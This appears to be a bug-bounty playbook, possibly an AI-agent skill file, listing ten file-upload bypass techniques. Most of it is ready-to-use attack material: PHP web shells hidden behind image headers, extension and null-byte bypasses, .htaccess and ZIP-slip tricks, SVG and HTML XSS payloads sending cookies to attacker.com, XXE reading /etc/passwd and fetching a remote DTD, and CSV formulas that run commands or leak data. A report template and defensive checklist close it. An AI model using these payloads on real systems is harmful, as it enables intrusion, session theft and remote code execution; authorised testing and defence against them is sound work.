File Upload Hunting
10 bypass techniques. One always works.
When to invoke
Trigger phrases:
- "test upload"
- "file upload bypass"
- "SVG XSS"
- "upload RCE"
- "polyglot file"
Where uploads happen
| Feature | Allowed types (claimed) | Real attack surface |
|---|---|---|
| Avatar / profile pic | png, jpg | SVG XSS, polyglot |
| Resume upload (job apps) | pdf, doc | PDF JS, doc macro (rarely), filename injection |
| Logo upload (custom branding) | png, jpg, svg | SVG XSS (often unblocked!) |
| Attachment in messages | "all" or limited | RCE via .phtml/.jsp, server-side parsing |
| Document import (Excel/CSV) | xlsx, csv | XXE, CSV formula injection |
| Theme / template upload | zip | LFI via path traversal, RCE if executed |
| Bulk import (CSV/JSON) | csv, json | injection, server-side parsing |
| Profile cover banner | png, jpg, gif | polyglot, GIFAR |
| Webhook attachment | misc | Content-Type confusion |
The 10 bypass techniques
Bypass 1: Extension blacklist
If they block .php, try:
.PHP ← case
.PhP ← mixed
.pHp
.phtml ← alt PHP extension
.phps ← PHP source
.pht
.php3 ← old
.php4
.php5
.php7
.phar ← PHP archive
.inc ← include file
.module ← Drupal
.HTML ← serve HTML if no script needed
.svg ← SVG = JS in some contexts
.htaccess ← if Apache, change config
.user.ini ← PHP config override (FPM)
For ASP:
.asp .aspx .ascx .ashx .asa .asax .cer .config
For JSP:
.jsp .jspx .jspf .jsw .jsv
For Node:
.js ← if served by web server inadvertently
.json ← if processed
Bypass 2: Null byte injection
shell.php%00.png
shell.php\x00.png
shell.php\0.png
shell.php.png
Old but still works on legacy apps.
Bypass 3: Double extension
shell.php.png ← if extension parser takes last vs first
shell.png.php ← if .png is whitelisted but server runs .php
shell.png.PhP
Bypass 4: Content-Type spoof
The app may only check Content-Type. Send actual PHP with Content-Type: image/png.
POST /upload HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----X
------X
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png
<?php system($_GET['c']); ?>
------X--
Bypass 5: Magic byte prefix (polyglot)
Prepend the file's first bytes with a valid image header:
# GIF87a header + PHP code
printf 'GIF89a\n<?php system($_GET["c"]); ?>' > shell.php
# PNG header + PHP code
printf '\x89PNG\r\n\x1a\n<?php system($_GET["c"]); ?>' > shell.php
# JPEG header
printf '\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xdb\x00\x43\x00<?php system($_GET["c"]); ?>' > shell.jpg
These pass getimagesize() AND can be parsed as PHP by some servers.
Bypass 6: SVG XSS (the easy win)
If SVG is allowed, you have stored XSS:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
alert(document.domain);
// Or: fetch('https://attacker.com/?c='+document.cookie);
</script>
</svg>
Set Content-Type when uploading: image/svg+xml.
Bypass 7: HTML upload → stored XSS
If .html allowed (or .html serves with HTML Content-Type):
<!DOCTYPE html>
<html><body><script>fetch('https://attacker.com/?c='+document.cookie)</script></body></html>
Bypass 8: .htaccess upload (Apache)
If .htaccess allowed AND Apache:
# .htaccess
AddHandler php5-script .png
# Now any .png is executed as PHP
Upload .htaccess, then upload shell.png with PHP content.
Bypass 9: ZIP slip / path traversal in filename
filename="../../../../etc/passwd"
filename="../../var/www/html/shell.php"
filename="..\\..\\windows\\system32\\hosts"
Some upload endpoints use the filename for storage path.
For ZIP archives (theme uploads), include traversed paths:
# Create zip with malicious filename
mkdir bad && cd bad
echo '<?php system($_GET["c"]); ?>' > shell.php
zip ../bad.zip ./../../var/www/html/shell.php
Bypass 10: SVG XML External Entity (XXE)
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg>&xxe;</svg>
Or for blind XXE via OOB:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<svg/>
Bonus: Polyglot files
A polyglot is a file that's valid in multiple formats:
- GIFAR (GIF + JAR) — old but interesting
- PDF/JS polyglot
- HTML/SVG polyglot
See arsenal/file-upload-polyglots/ for ready-made polyglots.
Step-by-Step Workflow
1. Identify upload endpoints
From recon:
# Find upload-related endpoints
grep -hiE 'upload|file|attach|avatar|import|logo|banner' endpoints-live.txt > upload-candidates.txt
# Check OPTIONS to see allowed methods
for url in $(cat upload-candidates.txt); do
curl -sI -X OPTIONS "$url"
done
2. Probe allowed types
Try uploading a benign file of each type and observe:
.png → 200 (allowed)
.svg → 200 (allowed!) ← SVG XSS time
.pdf → 200 (allowed)
.php → 403 (blocked)
.html → 415 (blocked)
3. Burp Intruder for extension fuzzing
Capture an upload request. Mark the filename. Set payload list to extension wordlist.
Wordlist: arsenal/wordlists/file-upload-extensions.txt
4. Watch for return URL / path
When the upload succeeds, the response often gives the path:
{"url": "https://cdn.target.com/uploads/abc123-shell.php.png"}
Visit it. If it executes as PHP, you have RCE.
5. Filename normalization tricks
The server may rename your file. Try:
shell.php → renamed to shell.png (server-side, your control lost)
shell.phP → may not be normalized
shell.php5 → may not be normalized
shell.png.php → renamed to shell.png.php (last segment "kept")
shell → no extension; server appends?
shell. → trailing dot
shell. .php → multiple spaces
shell.php;.png → semicolon (IIS quirk)
shell.png/.;/.php → IIS quirk
6. Race condition on upload
Some apps temporarily store the file before validation:
T+0ms: upload shell.php → file written to /tmp/shell.php
T+50ms: validation runs → file deleted
T+25ms: YOU access /tmp/shell.php → still there → RCE
Use Burp Turbo Intruder to upload + access in tight loop.
7. Test CSV / Excel formula injection
If app exports user data to CSV:
=cmd|'/c calc'!A0
=HYPERLINK("http://attacker.com?d="&A1, "click")
@SUM(1+9)*cmd|'/c calc'!A0
=IMPORTXML("http://attacker.com", "//*")
When victim opens CSV in Excel → command executes (mainly Windows / no auto-disable).
Output template
## Stored XSS via SVG avatar upload
### Summary
The avatar upload endpoint accepts SVG files without sanitizing inline JavaScript. Uploaded SVG renders inline in all places the user's avatar appears (profile, comments, messages), affecting any viewer.
### Steps to reproduce
1. Log in as any user
2. Navigate to Settings → Profile → Change avatar
3. Upload the following SVG (filename `avatar.svg`, Content-Type `image/svg+xml`):
```xml
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
fetch('https://attacker-controlled.com/x?c=' + encodeURIComponent(document.cookie));
</script>
</svg>
- Submit
- View own profile: avatar URL returned:
https://cdn.target.com/u/12345/avatar.svg - Any viewer (other users, admins) loading the profile triggers the script
Impact
- Cookie theft (session_token is NOT HttpOnly — verified)
- Persistent: SVG remains until changed
- Self-propagating: profile views happen across the platform (mentions, comments, message threads)
- Admin viewing → admin session steal → privilege escalation
- Estimated affected: every user with profile interactions
Suggested fix
- Strip or block
<script>, event handlers, and external references from uploaded SVGs (use DOMPurify on the server) - OR serve SVG with
Content-Disposition: attachmentso it doesn't render inline - OR re-render SVGs through a sanitizer/SVG-to-PNG pipeline
## Cross-references
- `[[xss]]` — SVG/HTML upload XSS
- `[[ssrf]]` — image-from-URL endpoints
- `[[ssti]]` — uploaded files as templates
- `[[content-discovery]]` — find upload endpoints
## Common pitfalls
1. **Reporting SVG XSS where SVG renders as image (not inline).** Browser context matters — verify `<img>` vs `<object>` vs direct nav.
2. **Reporting `.php` upload without execution.** "I uploaded shell.php" ≠ "RCE". You need to access the file and see code execute.
3. **CSV formula injection without confirmed admin impact.** Many programs require demonstration of an admin opening the CSV.
4. **Ignoring filename sanitization.** Some apps rename to UUID → your `.php` won't survive.
5. **CDN serves uploads with restrictive Content-Type.** Some CDNs (e.g., S3) always serve `application/octet-stream` for uploaded blobs → no XSS.
## File upload severity guide
| Finding | Severity |
|---|---|
| Stored XSS via SVG/HTML | High |
| RCE via .phtml or similar (file is executed) | Critical |
| RCE via .htaccess upload | Critical |
| Path traversal in filename overwriting system files | Critical |
| XXE via SVG/XML upload | High |
| CSV formula injection w/ admin victim | Medium-High |
| File DoS (large file / many files) | Often informative-only |
## Anti-bypass: when nothing works
If the app uses strict server-side validation:
1. Look for an **alternative upload path** (admin panel may have different validation)
2. Check **mobile API** — sometimes the mobile endpoint is laxer
3. Try **webhook attachment** uploads
4. Check `/import` paths (CSV, JSON, ZIP — different validators)
5. Re-test after **app updates** — new features may add new upload endpoints
## Quick "is upload safe" checklist
A safe upload endpoint:
- ✓ Whitelist (not blacklist) of extensions
- ✓ Re-encode images (strips polyglot payloads)
- ✓ Serves uploads from a separate domain (no cookie scope, no script context)
- ✓ `Content-Disposition: attachment` for non-image types
- ✓ `X-Content-Type-Options: nosniff`
- ✓ Renamed filenames (UUID)
- ✓ Size limits
- ✓ Antivirus / signature scanning
If any of these are missing → potential finding.